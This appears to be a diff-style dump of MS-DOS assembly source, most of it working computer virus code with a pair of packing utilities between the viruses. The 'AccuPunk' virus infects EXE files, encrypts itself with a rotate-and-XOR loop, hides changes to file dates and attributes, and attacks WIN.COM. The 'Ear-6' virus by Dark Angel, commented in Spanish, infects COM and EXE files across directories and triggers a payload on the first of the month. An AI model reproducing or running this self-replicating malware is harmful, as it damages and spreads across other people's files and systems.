mov fdate, dx ; And Date
|
||||
|
||||
mov ah, 3Fh ; Read Header
|
||||
mov cx, 1ah
|
||||
mov dx, offset buffer ; Into Buffer
|
||||
int 30h
|
||||
|
||||
call LSeekEnd ; LSeek the End
|
||||
|
||||
push dx ; Save File Size
|
||||
push ax
|
||||
|
||||
mov ah, 3Eh ; Close File
|
||||
int 30h
|
||||
|
||||
cmp word ptr [buffer], 'ZM'
|
||||
jne worse_exe ; Not an EXE File
|
||||
|
||||
cmp word ptr [buffer+12h], id_word
|
||||
jne good_exe ; Not Infected
|
||||
|
||||
worse_exe:
|
||||
pop dx ; Remove Saved File
|
||||
pop dx ; Size
|
||||
bad_exe:
|
||||
jmp remove_locks ; Abort Infection
|
||||
|
||||
good_exe:
|
||||
mov al, 01h ; Overwrite Attribs
|
||||
xor cx, cx
|
||||
call attributes
|
||||
jc worse_exe ; Catch Write-Prot
|
||||
; Discs Here
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov si, offset buffer + 14h ; Save Initial CS:IP
|
||||
mov di, offset jmpsave ; In Segment
|
||||
|
||||
movsw
|
||||
movsw
|
||||
|
||||
sub si, 10 ; Save Initial SS:SP
|
||||
|
||||
movsw
|
||||
movsw
|
||||
|
||||
pop ax dx ; Retrive File Size
|
||||
push ax dx ; Save It
|
||||
|
||||
add ax, offset end_write - offset entry
|
||||
adc dx, 0
|
||||
|
||||
mov cx, 512 ; Pages 512 Bytes
|
||||
div cx
|
||||
or dx, dx
|
||||
jz no_round
|
||||
inc ax ; Rounding Quirk
|
||||
|
||||
no_round:
|
||||
mov word ptr [buffer + 4], ax ; Set Total 512 pages
|
||||
mov word ptr [buffer + 2], dx ; Set Total mod 512
|
||||
|
||||
mov ax, word ptr [buffer + 0Ah] ; Get Minimum
|
||||
add ax, (end_write - entry)/16 ; Add our Size
|
||||
mov word ptr [buffer + 0ah], ax ; Put us in Minimum
|
||||
mov word ptr [buffer + 0ch], ax ; and in the Maximum
|
||||
|
||||
pop dx ax ; Retrieve File Size
|
||||
|
||||
mov cl, 4
|
||||
mov bx, word ptr [buffer + 8]
|
||||
shl bx, cl ; BX = Header Size
|
||||
sub ax, bx
|
||||
sbb dx, 0 ; Subtract Header
|
||||
|
||||
mov cx, 10h
|
||||
div cx ; Change To Para/Rem
|
||||
or dx, dx
|
||||
jz no_padding
|
||||
sub cx, dx ; CX = Bytes to Pad
|
||||
inc ax
|
||||
|
||||
no_padding:
|
||||
push cx ; Save Pad Bytes
|
||||
sub ax, 10h
|
||||
mov word ptr [buffer + 14h], offset entry ; Set IP
|
||||
mov word ptr [buffer + 16h], ax ; Set CS
|
||||
mov word ptr [buffer + 0Eh], ax ; Set SS
|
||||
mov word ptr [buffer + 10h], offset end_vir+100h ; Set SP
|
||||
|
||||
move_id:
|
||||
mov word ptr [buffer + 12h], id_word ; Set ID Word
|
||||
; Negative Checksum
|
||||
|
||||
mov ax, 3D02h ; Open File
|
||||
mov dx, offset fname
|
||||
int 30h
|
||||
|
||||
xchg ax, bx ; BX = File Handle
|
||||
|
||||
mov ah, 40h ; Write File
|
||||
mov cx, 1Ah
|
||||
mov dx, offset buffer
|
||||
int 30h
|
||||
|
||||
call LSeekEnd ; LSeek to End
|
||||
|
||||
pop cx ; Retrieve Padding
|
||||
cmp cx, 16
|
||||
je no_fixup ; None Needed
|
||||
|
||||
mov ah, 40h ; Write File
|
||||
int 30h
|
||||
|
||||
no_fixup:
|
||||
mov ah, 2ch ; Get Time
|
||||
int 21h
|
||||
|
||||
mov word ptr [Valu+1], Dx ; New Crypt Valu
|
||||
|
||||
mov si, offset writeret ; Copy Write
|
||||
mov di, offset tempcrypt ; Routine
|
||||
mov cx, (end_write-writeret)
|
||||
rep movsb
|
||||
|
||||
call tempcrypt ; Call Write Routine
|
||||
|
||||
mov ax, 5701h ; Set File Time/Date
|
||||
mov cx, ftime
|
||||
mov dx, fdate
|
||||
int 30h
|
||||
|
||||
mov ah, 3Eh ; Close File
|
||||
int 30h
|
||||
|
||||
mov al, 01h ; Reset Attribs
|
||||
mov cx, fattr
|
||||
call attributes
|
||||
|
||||
jmp remove_locks ; Remove Int 24h
|
||||
|
||||
vir_ident db 0,'[DWI] AccuPunk/' ; Virus and Author
|
||||
db 'The Attitude Adjuster' ; Idents
|
||||
|
||||
vir_group db 0,'Virulent Graffiti',0 ; Group Ident
|
||||
|
||||
win_com db 'WIN.COM',0 ; Target File
|
||||
win_exit db 0cdh, 20h ; DOS Exit
|
||||
win_msg db 0dh,0ah ; Message
|
||||
db 'You''ve been caught, you DWI! You''re nothing '
|
||||
db 'but a Damn Windows Idiot!',0dh,0ah
|
||||
db 'Well, we at Virulent Graffiti have had it... '
|
||||
db 'you''re not going to be',0dh,0ah
|
||||
db 'running that bullshit for a while, ''cuz, hey, '
|
||||
db 'friends don''t let friends',0dh,0ah
|
||||
db 'use Windows! (and you''re damn right we''re '
|
||||
db 'your friends!)',0dh,0ah,'$'
|
||||
my24: ; Error Handler
|
||||
mov al, 3 ; Process Terminate
|
||||
iret
|
||||
|
||||
Attributes: ; Get/Set
|
||||
mov ah, 43h
|
||||
mov dx, offset fname
|
||||
int 30h
|
||||
ret
|
||||
|
||||
LSeekEnd:
|
||||
mov ax, 4202h ; LSeek from End
|
||||
xor cx, cx
|
||||
cwd ; XOR DX, DX
|
||||
int 30h ; Kudos DA
|
||||
ret
|
||||
|
||||
WriteRet:
|
||||
push bx ; Handle
|
||||
|
||||
mov bx, offset endcrypt ; Virus Start
|
||||
mov cx, (end_write-endcrypt)/2 ; Ieterations
|
||||
mov dx, Word Ptr [Valu+1] ; Xor Word
|
||||
Crypt_Loop2:
|
||||
rol word ptr [bx], 1 ; Roll it Left!
|
||||
xor word ptr [bx], dx ; Xor It
|
||||
inc bx
|
||||
inc bx
|
||||
loop Crypt_Loop2
|
||||
|
||||
pop bx ; Handle
|
||||
|
||||
mov ah, 40h ; Write File
|
||||
mov cx, end_write - entry
|
||||
mov dx, offset entry
|
||||
int 30h
|
||||
|
||||
push bx ; Handle
|
||||
|
||||
mov bx, offset endcrypt ; Virus Start
|
||||
mov cx, (end_write-endcrypt)/2 ; Ieterations
|
||||
mov dx, Word Ptr [Valu+1] ; Xor Word
|
||||
Crypt_Loop3:
|
||||
xor word ptr [bx], dx ; Xor It
|
||||
ror word ptr [bx], 1 ; Roll it Left!
|
||||
inc bx
|
||||
inc bx
|
||||
loop Crypt_Loop3
|
||||
|
||||
pop bx ; Handle
|
||||
ret ; Return
|
||||
end_write:
|
||||
|
||||
old24 dd 0 ; Int 24h Vector
|
||||
buffer db 1Ah dup (0) ; EXE Read Buffer
|
||||
fname db 128 dup (0) ; Filename Buffer
|
||||
fdate dw 0 ; OldFileDate
|
||||
ftime dw 0 ; OldFileTime
|
||||
fattr dw 0 ; OldFileAttr
|
||||
|
||||
tempcrypt:
|
||||
db (end_write-writeret) Dup(0) ; Write Routine
|
||||
end_vir:
|
||||
|
||||
end entry
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,106 @@
|
|||
code segment
|
||||
assume cs:code, ds:code
|
||||
org 100h
|
||||
|
||||
asc2 equ asc + 128
|
||||
|
||||
prog:
|
||||
|
||||
mov ax,cs
|
||||
add ax,1000h
|
||||
mov es,ax
|
||||
mov si,0100h
|
||||
mov di,si
|
||||
mov cx,5000h
|
||||
rep movsb
|
||||
mov word ptr [next+2],es
|
||||
jmp dword ptr [next]
|
||||
|
||||
next db 1dh,1,0,0
|
||||
|
||||
part2:
|
||||
push ds
|
||||
pop es
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov di,offset asc + 128
|
||||
sub bx,bx
|
||||
k10: mov [bx][di],bl
|
||||
inc bl
|
||||
jnz k10
|
||||
mov si,offset asc
|
||||
k20: mov bl,[si]
|
||||
mov byte ptr [bx][di],0
|
||||
inc si
|
||||
cmp si,di
|
||||
jne k20
|
||||
dec di
|
||||
mov cx,128
|
||||
k30: inc di
|
||||
cmp byte ptr [di],0
|
||||
je k30
|
||||
mov al,[di]
|
||||
mov [si],al
|
||||
inc si
|
||||
loop k30
|
||||
|
||||
mov bx,50ffh
|
||||
mov di,bx
|
||||
mov cl,0
|
||||
l10: mov ah,[di]
|
||||
mov al,[di-1]
|
||||
mov si,ax
|
||||
sub ax,ax
|
||||
mov dl,6
|
||||
shl si,cl
|
||||
mov ch,cl
|
||||
mov cl,12
|
||||
shl si,1
|
||||
jnc l20
|
||||
mov al,64
|
||||
dec cx
|
||||
dec cx
|
||||
inc dx
|
||||
inc dx
|
||||
shl si,1
|
||||
jnc l30
|
||||
shl ax,1
|
||||
dec cx
|
||||
inc dx
|
||||
jmp short l30
|
||||
l20: shl si,1
|
||||
jnc l30
|
||||
inc dx
|
||||
mov al,16
|
||||
shl si,1
|
||||
jnc l30
|
||||
shl ax,1
|
||||
dec cx
|
||||
inc dx
|
||||
l30: shr si,cl
|
||||
add si,ax
|
||||
mov al,asc[si]
|
||||
mov es:[bx],al
|
||||
mov cl,dl
|
||||
add cl,ch
|
||||
l40: cmp cl,8
|
||||
jc l50
|
||||
sub cl,8
|
||||
dec di
|
||||
jmp short l40
|
||||
l50: dec bx
|
||||
cmp bx,00ffh
|
||||
jne l10
|
||||
|
||||
mov [next],0
|
||||
mov word ptr [next+2],es
|
||||
jmp dword ptr [next]
|
||||
|
||||
asc db ?
|
||||
|
||||
last label byte
|
||||
code ends
|
||||
end prog
|
||||
|
||||
|
|
@ -0,0 +1,254 @@
|
|||
code segment
|
||||
assume cs:code, ds:code, es:code
|
||||
org 100h
|
||||
prog:
|
||||
jmp main
|
||||
|
||||
asc db 256 dup (0)
|
||||
lll dw ?
|
||||
tbl dw 256 dup (0)
|
||||
cod db 256 dup (0)
|
||||
len db 256 dup (0)
|
||||
dat db 0,10,16,9,64,8,64,8,0,7
|
||||
fn1 db 'te.com',0
|
||||
fn2 db 'sup.com',0
|
||||
fn3 db 'e1.com',0
|
||||
|
||||
main:
|
||||
|
||||
call read
|
||||
call build
|
||||
call uha
|
||||
call good
|
||||
call write
|
||||
|
||||
mov al,00h
|
||||
mov ah,4ch
|
||||
int 21h
|
||||
|
||||
good proc near
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov si,offset asc
|
||||
mov di,179
|
||||
mov cx,130
|
||||
rep movsb
|
||||
|
||||
mov dx,offset fn3
|
||||
mov al,00h
|
||||
mov ah,3dh
|
||||
int 21h
|
||||
jc ssr
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
mov ds,ax
|
||||
sub dx,dx
|
||||
mov cx,179
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jc ssr
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
ssr: ret
|
||||
good endp
|
||||
|
||||
uha proc near
|
||||
mov ax,cs
|
||||
add ax,1000h
|
||||
mov ds,ax
|
||||
add ax,1000h
|
||||
mov es,ax
|
||||
mov bx,4fffh
|
||||
mov di,bx
|
||||
mov ch,0
|
||||
sub bp,bp
|
||||
lu10: sub ax,ax
|
||||
mov al,[bx]
|
||||
mov si,ax
|
||||
mov al,cs:cod[si]
|
||||
mov dl,cs:len[si]
|
||||
mov cl,dl
|
||||
cmp dl,7
|
||||
jne lu20
|
||||
inc ah
|
||||
lu20: sub cl,ch
|
||||
shl ax,cl
|
||||
or bp,ax
|
||||
add ch,16
|
||||
sub ch,dl
|
||||
mov cl,8
|
||||
lu30: cmp ch,cl
|
||||
jc lu40
|
||||
mov ax,bp
|
||||
shl bp,cl
|
||||
mov es:[di],ah
|
||||
dec di
|
||||
sub ch,cl
|
||||
jmp short lu30
|
||||
lu40: dec bx
|
||||
cmp bx,0ffffh
|
||||
jne lu10
|
||||
mov ax,bp
|
||||
mov es:[di],ah
|
||||
mov lll,di
|
||||
mov ah,0
|
||||
lu50: dec di
|
||||
mov es:[di],ah
|
||||
cmp di,0
|
||||
jne lu50
|
||||
ret
|
||||
uha endp
|
||||
|
||||
fill proc near
|
||||
sub si,si
|
||||
mov cx,0100h
|
||||
lf10: mov ax,si
|
||||
mov cs:asc[si],al
|
||||
inc si
|
||||
loop lf10
|
||||
sub bx,bx
|
||||
mov cx,5000h
|
||||
lf20: mov al,[bx]
|
||||
mov si,ax
|
||||
shl si,1
|
||||
inc cs:tbl[si]
|
||||
inc bx
|
||||
loop lf20
|
||||
ret
|
||||
fill endp
|
||||
|
||||
pause proc near
|
||||
push ax
|
||||
mov ah,01h
|
||||
int 21h
|
||||
pop ax
|
||||
ret
|
||||
pause endp
|
||||
|
||||
sort proc near
|
||||
mov cx,00ffh
|
||||
l10: mov di,cx
|
||||
mov bx,cx
|
||||
shl bx,1
|
||||
add bx,offset tbl
|
||||
sub ax,ax
|
||||
l20: mov si,ax
|
||||
shl si,1
|
||||
mov dx,tbl[si]
|
||||
cmp dx,[bx]
|
||||
jnc l30
|
||||
xchg dx,[bx]
|
||||
xchg dx,tbl[si]
|
||||
shr si,1
|
||||
mov dl,asc[si]
|
||||
xchg dl,asc[di]
|
||||
xchg dl,asc[si]
|
||||
l30: inc ax
|
||||
cmp ax,cx
|
||||
jc l20
|
||||
loop l10
|
||||
|
||||
mov di,offset asc + 128
|
||||
sub bx,bx
|
||||
k10: mov [bx][di],bl
|
||||
inc bl
|
||||
jnz k10
|
||||
mov si,offset asc
|
||||
k20: mov bl,[si]
|
||||
mov byte ptr [bx][di],0
|
||||
inc si
|
||||
cmp si,di
|
||||
jne k20
|
||||
dec di
|
||||
mov cx,128
|
||||
k30: inc di
|
||||
cmp byte ptr [di],0
|
||||
je k30
|
||||
mov al,[di]
|
||||
mov [si],al
|
||||
inc si
|
||||
loop k30
|
||||
|
||||
|
||||
ret
|
||||
sort endp
|
||||
|
||||
make proc near
|
||||
mov cx,16
|
||||
mov bx,offset dat
|
||||
sub si,si
|
||||
sub ax,ax
|
||||
lm10: mov al,asc[si]
|
||||
mov di,ax
|
||||
mov dx,si
|
||||
add dl,[bx]
|
||||
mov cod[di],dl
|
||||
mov dl,[bx+1]
|
||||
mov len[di],dl
|
||||
inc si
|
||||
cmp si,cx
|
||||
jnz lm10
|
||||
inc bx
|
||||
inc bx
|
||||
shl cx,1
|
||||
cmp cx,512
|
||||
jnz lm10
|
||||
ret
|
||||
make endp
|
||||
|
||||
build proc near
|
||||
call fill
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
call sort
|
||||
call make
|
||||
ret
|
||||
build endp
|
||||
|
||||
write proc near
|
||||
mov dx,offset fn2
|
||||
mov al,02h
|
||||
mov ah,3dh
|
||||
int 21h
|
||||
jc sw
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
mov ds,ax
|
||||
sub dx,dx
|
||||
mov cx,5000h
|
||||
mov ah,40h
|
||||
int 21h
|
||||
jc sw
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
sw: ret
|
||||
write endp
|
||||
|
||||
read proc near
|
||||
mov dx,offset fn1
|
||||
mov al,00h
|
||||
mov ah,3dh
|
||||
int 21h
|
||||
jc sr
|
||||
mov bx,ax
|
||||
mov ax,ds
|
||||
add ax,1000h
|
||||
mov ds,ax
|
||||
sub dx,dx
|
||||
mov cx,5000h
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jc sr
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
sr: ret
|
||||
read endp
|
||||
|
||||
|
||||
last label byte
|
||||
code ends
|
||||
end prog
|
||||
|
||||
|
|
@ -0,0 +1,290 @@
|
|||
code segment
|
||||
assume cs:code, ds:code, es:code
|
||||
org 100h
|
||||
prog:
|
||||
jmp main
|
||||
|
||||
asc db 256 dup (0)
|
||||
lll dw ?
|
||||
tbl dw 256 dup (0)
|
||||
cod db 256 dup (0)
|
||||
len db 256 dup (0)
|
||||
dat db 0,10,16,9,64,8,64,8,0,7
|
||||
fn1 db 'te.com',0
|
||||
fn2 db 'sup.com',0
|
||||
fn3 db 'e1.com',0
|
||||
fn4 db 'dat.dat',0
|
||||
main:
|
||||
|
||||
call read
|
||||
call build
|
||||
call uha
|
||||
call good
|
||||
call write
|
||||
|
||||
mov al,00h
|
||||
mov ah,4ch
|
||||
int 21h
|
||||
|
||||
good proc near
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov si,offset asc
|
||||
mov di,179
|
||||
mov cx,130
|
||||
rep movsb
|
||||
|
||||
mov dx,offset fn3
|
||||
mov al,00h
|
||||
mov ah,3dh
|
||||
int 21h
|
||||
jc ssr
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
mov ds,ax
|
||||
sub dx,dx
|
||||
mov cx,179
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jc ssr
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
ssr: ret
|
||||
good endp
|
||||
|
||||
uha proc near
|
||||
mov ax,cs
|
||||
add ax,1000h
|
||||
mov ds,ax
|
||||
add ax,1000h
|
||||
mov es,ax
|
||||
mov bx,4fffh
|
||||
mov di,bx
|
||||
mov ch,0
|
||||
sub bp,bp
|
||||
lu10: sub ax,ax
|
||||
mov al,[bx]
|
||||
mov si,ax
|
||||
mov al,cs:cod[si]
|
||||
mov dl,cs:len[si]
|
||||
mov cl,dl
|
||||
cmp dl,7
|
||||
jne lu20
|
||||
inc ah
|
||||
lu20: sub cl,ch
|
||||
shl ax,cl
|
||||
or bp,ax
|
||||
add ch,16
|
||||
sub ch,dl
|
||||
mov cl,8
|
||||
lu30: cmp ch,cl
|
||||
jc lu40
|
||||
mov ax,bp
|
||||
shl bp,cl
|
||||
mov es:[di],ah
|
||||
dec di
|
||||
sub ch,cl
|
||||
jmp short lu30
|
||||
lu40: dec bx
|
||||
cmp bx,0ffffh
|
||||
jne lu10
|
||||
mov ax,bp
|
||||
mov es:[di],ah
|
||||
mov lll,di
|
||||
mov ah,0
|
||||
lu50: dec di
|
||||
mov es:[di],ah
|
||||
cmp di,0
|
||||
jne lu50
|
||||
ret
|
||||
uha endp
|
||||
|
||||
fill proc near
|
||||
sub si,si
|
||||
mov cx,0100h
|
||||
lf10: mov ax,si
|
||||
mov cs:asc[si],al
|
||||
inc si
|
||||
loop lf10
|
||||
sub bx,bx
|
||||
mov cx,5000h
|
||||
lf20: mov al,[bx]
|
||||
mov si,ax
|
||||
shl si,1
|
||||
inc cs:tbl[si]
|
||||
inc bx
|
||||
loop lf20
|
||||
ret
|
||||
fill endp
|
||||
|
||||
swap proc near
|
||||
push ax
|
||||
mov ax,tbl[si]
|
||||
xchg ax,tbl[di]
|
||||
mov tbl[si],ax
|
||||
shr si,1
|
||||
shr di,1
|
||||
mov al,asc[si]
|
||||
xchg al,asc[di]
|
||||
mov asc[si],al
|
||||
shl si,1
|
||||
shl di,1
|
||||
pop ax
|
||||
ret
|
||||
swap endp
|
||||
|
||||
sort proc near
|
||||
|
||||
mov bp,32
|
||||
mov cl,1
|
||||
ss00: sub ax,ax
|
||||
mov dx,510
|
||||
ss05: mov di,ax
|
||||
mov bx,tbl[di]
|
||||
mov si,di
|
||||
ss10: cmp si,dx
|
||||
je ss20
|
||||
inc si
|
||||
inc si
|
||||
cmp bx,tbl[si]
|
||||
jnc ss10
|
||||
inc di
|
||||
inc di
|
||||
call swap
|
||||
jmp short ss10
|
||||
ss20: mov si,ax
|
||||
call swap
|
||||
cmp di,bp
|
||||
je ss40
|
||||
jc ss30
|
||||
mov dx,di
|
||||
dec dx
|
||||
dec dx
|
||||
jmp short ss05
|
||||
ss30: mov ax,di
|
||||
inc ax
|
||||
inc ax
|
||||
jmp short ss05
|
||||
ss40: shl bp,cl
|
||||
shl cl,1
|
||||
cmp cl,8
|
||||
jne ss00
|
||||
|
||||
; call writ
|
||||
|
||||
mov di,offset asc + 128
|
||||
sub bx,bx
|
||||
k10: mov [bx][di],bl
|
||||
inc bl
|
||||
jnz k10
|
||||
mov si,offset asc
|
||||
k20: mov bl,[si]
|
||||
mov byte ptr [bx][di],0
|
||||
inc si
|
||||
cmp si,di
|
||||
jne k20
|
||||
dec di
|
||||
mov cx,128
|
||||
k30: inc di
|
||||
cmp byte ptr [di],0
|
||||
je k30
|
||||
mov al,[di]
|
||||
mov [si],al
|
||||
inc si
|
||||
loop k30
|
||||
ret
|
||||
sort endp
|
||||
|
||||
make proc near
|
||||
mov cx,16
|
||||
mov bx,offset dat
|
||||
sub si,si
|
||||
sub ax,ax
|
||||
lm10: mov al,asc[si]
|
||||
mov di,ax
|
||||
mov dx,si
|
||||
add dl,[bx]
|
||||
mov cod[di],dl
|
||||
mov dl,[bx+1]
|
||||
mov len[di],dl
|
||||
inc si
|
||||
cmp si,cx
|
||||
jnz lm10
|
||||
inc bx
|
||||
inc bx
|
||||
shl cx,1
|
||||
cmp cx,512
|
||||
jnz lm10
|
||||
ret
|
||||
make endp
|
||||
|
||||
build proc near
|
||||
call fill
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
call sort
|
||||
call make
|
||||
ret
|
||||
build endp
|
||||
|
||||
write proc near
|
||||
mov dx,offset fn2
|
||||
mov al,02h
|
||||
mov ah,3dh
|
||||
int 21h
|
||||
jc sw
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
mov ds,ax
|
||||
sub dx,dx
|
||||
mov cx,5000h
|
||||
mov ah,40h
|
||||
int 21h
|
||||
jc sw
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
sw: ret
|
||||
write endp
|
||||
|
||||
read proc near
|
||||
mov dx,offset fn1
|
||||
mov al,00h
|
||||
mov ah,3dh
|
||||
int 21h
|
||||
jc sr
|
||||
mov bx,ax
|
||||
mov ax,ds
|
||||
add ax,1000h
|
||||
mov ds,ax
|
||||
sub dx,dx
|
||||
mov cx,5000h
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jc sr
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
sr: ret
|
||||
read endp
|
||||
|
||||
writ proc near
|
||||
mov dx,offset fn4
|
||||
sub cx,cx
|
||||
mov ah,3ch
|
||||
int 21h
|
||||
mov bx,ax
|
||||
mov dx,offset tbl
|
||||
mov cx,512
|
||||
mov ah,40h
|
||||
int 21h
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
ret
|
||||
writ endp
|
||||
|
||||
last label byte
|
||||
code ends
|
||||
end prog
|
||||
|
||||
|
|
@ -0,0 +1,447 @@
|
|||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
longitud_del_virus = TerminaVir - EmpezarVir
|
||||
longitud_del_escribir = offset termina - offset escribir
|
||||
|
||||
id = 'GH' ; Representa el l¡der de
|
||||
; PHALCON/SKISM, Garbageheap
|
||||
Empezar: db 0e9h, 0, 0 ; jmp EmpezarVir
|
||||
|
||||
EmpezarVir:
|
||||
shwing:
|
||||
remendar1:
|
||||
mov bx, offset EmpezarCifra
|
||||
remendar2:
|
||||
mov cx, ((longitud_del_virus + 1) / 2)
|
||||
hacia_atras: ; atr s
|
||||
db 2eh
|
||||
remendar3:
|
||||
db 81h, 37h, 0, 0 ; xor word ptr cs:[bx], 0
|
||||
add bx, 2
|
||||
loop hacia_atras
|
||||
EmpezarCifra:
|
||||
|
||||
call siguiente ; Es estupido, pero es corto
|
||||
siguiente:
|
||||
pop bp
|
||||
sub bp, offset siguiente
|
||||
|
||||
mov byte ptr [bp+numinf], 0
|
||||
|
||||
cld ; No es necessario, pero
|
||||
; ¨por qu‚ no?
|
||||
cmp sp, id
|
||||
jz SoyEXE
|
||||
SoyCOM: mov di, 100h
|
||||
push di
|
||||
lea si, [bp+Primer3]
|
||||
movsb
|
||||
jmp short SoyNada
|
||||
SoyEXE: push ds
|
||||
push es
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
lea di, [bp+EXE_Donde_JMP] ; el CS:IP original de la ficha
|
||||
lea si, [bp+EXE_Donde_JMP2] ; infectada
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
|
||||
jmp short SoyNada
|
||||
|
||||
NombreDelVirus db 0,'[Ear-6]',0 ; En ingl‚s, por supuesto!
|
||||
NombreDelAutor db 'Dark Angel',0
|
||||
|
||||
SoyNada:
|
||||
movsw
|
||||
|
||||
mov ah, 1ah ; Esindicece un DTA nuevo
|
||||
lea dx, [bp+offset nuevoDTA] ; porque no quiere destruir
|
||||
int 21h ; el DTA original
|
||||
|
||||
mov ax, word ptr [bp+remendar1+1]
|
||||
mov word ptr [bp+tempo], ax
|
||||
|
||||
mov ah, 47h ; Obtiene el directorio
|
||||
xor dl, dl ; presente
|
||||
lea si, [bp+diroriginal]
|
||||
int 21h
|
||||
|
||||
looper:
|
||||
lea dx, [bp+offset mascara1] ; "m scara", no "mascara"
|
||||
call infectar_mascara ; pero no es possible usar
|
||||
; acentos en MASM/TASM.
|
||||
; Qu‚ l stima!
|
||||
; mascara1 es '*.EXE',0
|
||||
lea dx, [bp+offset mascara2] ; mascara2 es '*.COM',0
|
||||
call infectar_mascara ; infecta las fichas de COM
|
||||
|
||||
cmp byte ptr [bp+numinf], 5 ; ¨Ha infectada cinco fichas?
|
||||
jg saltar ; Si es verdad, no necesita
|
||||
; busca m s fichas.
|
||||
mov ah, 3bh ; Cambia el directorio al
|
||||
lea dx, [bp+puntos] ; directorio anterior
|
||||
int 21h ; ('..', 'punto punto')
|
||||
jnc looper
|
||||
|
||||
saltar: lea dx, [bp+backslash] ; Cambia el directorio al
|
||||
mov ah, 3bh ; directorio terminado.
|
||||
int 21h
|
||||
|
||||
mov ah, 2ah ; Activa el primer de
|
||||
int 21h ; cada mes
|
||||
cmp dl, 1 ; Si no es el primer,
|
||||
jnz saltarahora ; saltar ahora! (duh-o)
|
||||
|
||||
mov ah, 2ch ; ¨Qu‚ hora es?
|
||||
int 21h
|
||||
|
||||
cmp dl, 85 ; 85% probabilidad de
|
||||
jg saltarahora ; activaci¢n
|
||||
|
||||
and dx, 7 ; Un n£mero quasi-azado
|
||||
shl dl, 1 ; Usalo para determinar
|
||||
mov bx, bp ; que preguntar la virus
|
||||
add bx, dx
|
||||
mov dx, word ptr [bx+indice] ; ¡ndice para el examencito
|
||||
add dx, bp
|
||||
inc dx
|
||||
push dx ; Salva el codo al pregunta
|
||||
|
||||
mov ah, 9 ; Escriba el primer parte de
|
||||
lea dx, [bp+mensaje] ; la pregunta
|
||||
int 21h
|
||||
|
||||
pop dx ; Escriba el parte de la oreja
|
||||
int 21h ; o el o¡do
|
||||
dec dx
|
||||
push dx ; Salva la respuesta correcta
|
||||
|
||||
lea dx, [bp+secciones] ; Escriba los secciones de la
|
||||
int 21h ; oreja y el o¡do
|
||||
|
||||
trataotrarespuesta:
|
||||
mov ah, 7 ; Obtiene la respuesta de la
|
||||
int 21h ; "v¡ctima"
|
||||
cmp al, '1' ; Necesita una respuesta de
|
||||
jl trataotrarespuesta ; uno hasta tres
|
||||
cmp al, '3' ; Renuncia otras respuestas
|
||||
jg trataotrarespuesta
|
||||
|
||||
int 29h ; Escriba la respuesta
|
||||
|
||||
pop bx ; El codo al respuesta
|
||||
; correcta
|
||||
mov ah, 9 ; Prepara a escribir un
|
||||
; mensaje
|
||||
cmp al, byte ptr [bx] ; ¨Es correcta?
|
||||
jz saltarapidamente ; <20>l aprueba el examencito.
|
||||
; Pues, salta r pidamente.
|
||||
lea dx, [bp+suspendido] ; Lo siento, pero Ud. no
|
||||
int 21h ; aprueba el examencito f cil!
|
||||
|
||||
mov ah, 4ch ; Estudie m s y el programa
|
||||
jmp quite ; permitir a Ud a continuar.
|
||||
|
||||
saltarapidamente:
|
||||
lea dx, [bp+aprueba]
|
||||
int 21h
|
||||
saltarahora:
|
||||
mov ah, 1ah ; Restaura el DTA original
|
||||
mov dx, 80h
|
||||
quite:
|
||||
cmp sp, id - 4 ; ¨Es EXE o COM?
|
||||
jz vuelvaEXE
|
||||
vuelvaCOM:
|
||||
int 21h ; Restaura el DTA y vuelva
|
||||
retn ; a la ficha original de COM
|
||||
|
||||
vuelvaEXE:
|
||||
pop es
|
||||
pop ds ; ds -> PSP
|
||||
|
||||
int 21h
|
||||
|
||||
mov ax, es
|
||||
add ax, 10h ; Ajusta para el PSP
|
||||
add word ptr cs:[bp+EXE_Donde_JMP+2], ax
|
||||
cli
|
||||
add ax, word ptr cs:[bp+PilaOriginal+2]
|
||||
mov ss, ax
|
||||
mov sp, word ptr cs:[bp+PilaOriginal]
|
||||
sti
|
||||
db 0eah ; JMP FAR PTR SEG:OFF
|
||||
EXE_Donde_JMP dd 0
|
||||
PilaOriginal dd 0
|
||||
|
||||
EXE_Donde_JMP2 dd 0
|
||||
PilaOriginal2 dd 0
|
||||
|
||||
infectar_mascara:
|
||||
mov ah, 4eh ; Busca la ficha primera
|
||||
mov cx, 7 ; Cada atributo
|
||||
brb_brb:
|
||||
int 21h
|
||||
jc hasta_la_vista_bebe ; No la busca
|
||||
|
||||
xor al, al
|
||||
call abrir ; Abre la ficha
|
||||
|
||||
mov ah, 3fh
|
||||
mov cx, 1ah
|
||||
lea dx, [bp+buffer]
|
||||
int 21h
|
||||
|
||||
mov ah, 3eh ; Cierra la ficha
|
||||
int 21h
|
||||
|
||||
lea si,[bp+nuevoDTA+15h] ; Salva cosas sobre la ficha
|
||||
lea di,[bp+f_atrib] ; Por ejemplo, la fecha de
|
||||
mov cx, 9 ; creaci¢n
|
||||
rep movsb
|
||||
|
||||
cmp word ptr [bp+buffer], 'ZM' ; ¨Es EXE o COM?
|
||||
jz buscaEXE
|
||||
buscaCOM:
|
||||
mov ax, word ptr [bp+f_long] ; ¨Cuan grande es la ficha?
|
||||
sub ax, longitud_del_virus + 3 ; Adjusta para el JMP
|
||||
